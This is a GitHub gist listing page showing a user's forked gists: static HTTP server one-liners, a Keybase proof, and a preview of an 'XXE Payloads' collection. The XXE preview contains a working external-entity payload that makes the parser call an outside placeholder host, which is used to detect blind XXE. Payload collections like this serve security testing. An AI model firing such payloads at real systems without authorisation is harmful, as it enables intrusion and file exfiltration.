Skip to content

Instantly share code, notes, and snippets.

@wojtekwm
wojtekwm / web-servers.md
Created September 29, 2019 14:15 — forked from willurd/web-servers.md
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@wojtekwm
wojtekwm / XXE_payloads
Created September 25, 2019 15:27 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

Keybase proof

I hereby claim:

  • I am wojtekwm on github.
  • I am wojtekwm (https://keybase.io/wojtekwm) on keybase.
  • I have a public key ASAHr7w7eDxffvQ1_oXyQe3-Al9hqYiEjfsX54ieiTYxNQo

To claim this, I am signing this object: